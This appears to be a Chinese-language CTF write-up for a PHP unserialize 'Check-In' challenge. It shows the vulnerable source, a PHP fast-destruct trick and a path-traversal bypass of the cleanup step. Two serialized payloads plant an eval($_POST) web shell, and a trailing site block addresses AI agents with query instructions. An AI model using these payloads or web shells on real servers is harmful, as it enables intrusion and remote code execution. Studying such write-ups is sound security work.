# Check-In

D冠的签到题

```
<?php
show_source(__FILE__);
$dir = './sandbox/'.md5($_SERVER['REMOTE_ADDR']);
echo $dir;
echo "<br>";
is_dir($dir) ?: mkdir($dir);
$line = $_GET['a'];
class B {
    public $content;
    public $filename;
    function __destruct() {
        file_put_contents('/var/www/html/sandbox/'.md5($_SERVER['REMOTE_ADDR']).'/'.$this->filename, $this->content);
    }
}
$a = @unserialize($line);
system('rm -rf '.$dir);
echo "unserialize yyds";
```

反序列化写入文件，但是在脚本执行最后会删除文件。

原理用 PHP Fast Destruct 产生 fatal error，然后导致执行完反序列化后后面代码停止执行，但是正常执行`__destruct()`。

参考链接用到了很有意思的一个github源：

[PHPGGC: PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)

收录了一些常见的PHP反序列化的POC利用等，在线下应该会比较经常用到。

利用方法：在对象反序列化过程中添加第三个参数，变量名不限，变量值为ado对象，使反序列化产生报错而终止，但是依然执行\_\_destruct()。

wp POC：

```
O:1:"B":3:{s:7:"content";s:31:"<?php echo 1;eval($_POST[a]);?>";s:8:"filename";s:5:"1.php";s:6:"decade";O:3:"pdo":0:{};}
```

可以看见发生报错，echo语句不执行，但是类对象正常销毁，访问可得echo 1。

shell蚁剑拿flag。

这题的非预期解是目录穿越，绕过rm -rf，只要把文件名改成../1.php即可。

```
O:1:"B":2:{s:7:"content";s:31:"<?php echo 1;eval($_POST[a]);?>";s:8:"filename";s:8:"../1.php";}
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://gitbook-88.gitbook.io/ctf-writeup/2020/2020-bytectf/check-in.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
